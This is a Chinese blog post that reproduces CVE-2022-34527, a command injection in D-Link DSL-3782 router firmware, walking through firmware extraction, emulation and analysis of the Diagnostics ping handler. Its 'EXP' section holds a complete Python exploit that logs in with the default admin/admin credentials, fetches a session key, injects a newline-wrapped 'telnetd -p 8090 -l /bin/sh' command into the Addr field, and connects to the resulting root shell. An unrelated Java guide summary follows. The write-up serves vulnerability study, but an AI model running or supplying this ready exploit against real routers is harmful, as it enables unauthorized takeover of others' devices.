CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现

本文详细描述了D-LinkDSL-3782路由器的固件中的CVE-2022-34527命令注入漏洞,涉及firmware提取、Web服务器脚本分析、漏洞利用方法,并提供了漏洞利用的Python脚本示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、漏洞描述

CVE-2022-34527 D-Link DSL-3782 v1.03及以下版本被发现包含通过函数byte_4C0160的命令注入漏洞,根据已知公开在cfg_manger 文件的代码 sub_474c78 函数中,byte_4C0160作为system的参数执行。

固件地址:https://media.dlink.eu/support/products/dsl/dsl-3782/driver_software/dsl-3782_a1_eu_1.01_07282016.zip

二、固件提取

iot@attifyos ~/D/dsl-3782_a1_eu_1.01_07282016> binwalk -Me DSL-3782_A1_EU_1.01_07282016.bin

在这里插入图片描述
首先通过查询路由启动信息服务,来找到相关需要验证这个注入漏洞的文件(命令)。
/usr/etc/init.d/rcS 是一个在Linux系统中用于初始化系统的脚本文件。在路由器或嵌入式系统中,它通常是启动系统时会自动运行的脚本之一,用于执行各种初始化任务和设置。直接通过关键字直接搜索server

#Web server
if [ ! -d "/var/boaroot/html/" ] || [ ! -d "/var/boaroot/cgi-bin/" ]; then
/userfs/bin/boa -c /boaroot -d &
/bin/rm -rf /var/boaroot
else
/userfs/bin/boa -c /var/boaroot -d &

在这里插入图片描述
贴出的脚本涉及使用 Boa 网络服务器软件启动一个网页服务器。Boa 是一款轻量级且简单的网络服务器,通常用于嵌入式系统和资源受限的环境。这个脚本似乎有以下功能:

它会检查两个目录是否存在:/var/boaroot/html//var/boaroot/cgi-bin/。这些目录很可能用于存放网页服务器的 HTML 文件和 CGI 脚本。

三、固件模拟

sudo python3 fat.py ./DSL-3782.bin

在这里插入图片描述
在这里插入图片描述
默认密码是:admin,进入之后直接关闭页面直接通过菜单栏找到Management >> Diagnostics,看到过较多文章直接使用相关ping功能进行朔源漏洞点!
在这里插入图片描述
在这里插入图片描述

POST /cgi-bin/New_GUI/Set/Diagnostics.asp HTTP/1.1

抓到的POST包,有个ping功能的asp功能页面/cgi-bin/New_GUI/Set/Diagnostics.asp快捷方式找asp文件
在这里插入图片描述

<%
TcWebApi_Set("Diagnostics_Entry","Type","Type")
TcWebApi_Set("Diagnostics_Entry","Addr","Addr")
TCWebApi_commit("Diagnostics_Entry")
%>a

在这里插入图片描述
根据文件内容判断这是在通过WebApi处理前端提交过来的数据,由前面的Burpsuit抓包的内容可知前端会将Type和Addr的数据传到服务器。查找一下关键字:Diagnostics_Entry看看传入的数据是由哪个文件处理的。

iot@attifyos ~/D/d/_/squashfs-root> grep -r Diagnostics_Entry
boaroot/cgi-bin/get/New_GUI/Diagnostics.cgi:node_name="Diagnostics_Entry"
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TcWebApi_Set("Diagnostics_Entry","Type","Type")
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TcWebApi_Set("Diagnostics_Entry","Addr","Addr")
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TCWebApi_commit("Diagnostics_Entry")
Binary file userfs/bin/cfg_manager matches

iot@attifyos ~/D/d/_/squashfs-root> file userfs/bin/cfg_manager matches
userfs/bin/cfg_manager: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped
matches:                cannot open `matches' (No such file or directory)

在这里插入图片描述
或者搜索文件名字:cfg_manager

四、漏洞分析

IDA打开文件后直接shift+F3 搜索:sub_474c78
在这里插入图片描述
在这里插入图片描述

五、漏洞利用

在这里插入图片描述
EXP

import requests
import urllib
import os
from time import sleep
from urllib.parse import unquote
 
server = "192.168.1.1"
main_url = "http://192.168.1.1:80"
headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
        }
 
 
def login():
    s = requests.Session()
    s.verify = False
    url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1690122728925"
    resp = s.get(url,headers=headers,timeout=10)
    print(resp.text)
 
 
def get_session_key():
    s = requests.Session()
    s.verify = False
    url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"
    resp = s.get(url,headers=headers,timeout=10)
    sessionKey = resp.text
    print(sessionKey)
    return sessionKey
 
 
def exp(sessionKey=None):
 
    cmd = "%0autelnetd -p 8090 -l /bin/sh%0a"
     
    s = requests.Session()
    s.verify = False
    params = {"Type":"p", "sessionKey":urllib.parse.unquote(sessionKey),"Addr":urllib.parse.unquote(cmd)}
    url = main_url + "/cgi-bin/New_GUI/Set/Diagnostics.asp"
    resp = s.post(url,data=params,headers=headers,timeout=100000)
    print(resp.text)
 
 
if __name__ == '__main__':
    print("\n[*] Connection ",main_url);
    login()
 
    print("[*] Getting session key")
    sessionKey = get_session_key()
 
    print("[*] Sending payload")
    exp(sessionKey=sessionKey)
    print("[*] Running Telnetd Service")
    print("[*] Opening Telnet Connection\n")
    sleep(3)
    os.system('telnet ' + str(server) + ' 8090')

六、参考

D-Link DSL-3782 代码注入漏洞CVE-2022-34527分析- IOTsec-Zone物联网安全社区
命令注入漏洞CVE-2022-34527复现(学习记录)

内容概要:本文档是一份基于最新Java技术趋势的实操指南,涵盖微服务架构(Spring Cloud Alibaba)、响应式编程(Spring WebFlux + Reactor)、容器化与云原生(Docker + Kubernetes)、函数式编程与Java新特性、性能优化与调优以及单元测试与集成测试六大技术领域。针对每个领域,文档不仅列出了面试中的高频考点,还提供了详细的实操场景、具体实现步骤及示例代码。例如,在微服务架构中介绍了如何利用Nacos进行服务注册与发现、配置管理,以及使用Sentinel实现熔断限流;在响应式编程部分展示了响应式控制器开发、数据库访问和流处理的方法;对于容器化,则从Dockerfile编写到Kubernetes部署配置进行了讲解。 适合人群:具有一定的Java编程基础,尤其是正在准备面试或希望深入理解并掌握当前主流Java技术栈的研发人员。 使用场景及目标:①帮助求职者熟悉并能熟练运用微服务、响应式编程等现代Java开发技术栈应对面试;②指导开发者在实际项目中快速上手相关技术,提高开发效率和技术水平;③为那些想要深入了解Java新特性和最佳实践的程序员提供有价值的参考资料。 阅读建议:由于文档内容丰富且涉及多个方面,建议读者按照自身需求选择感兴趣的主题深入学习,同时结合实际项目进行练习,确保理论与实践相结合。对于每一个技术点,不仅要关注代码实现,更要理解背后的原理和应用场景,这样才能更好地掌握这些技能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

David_Jou

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值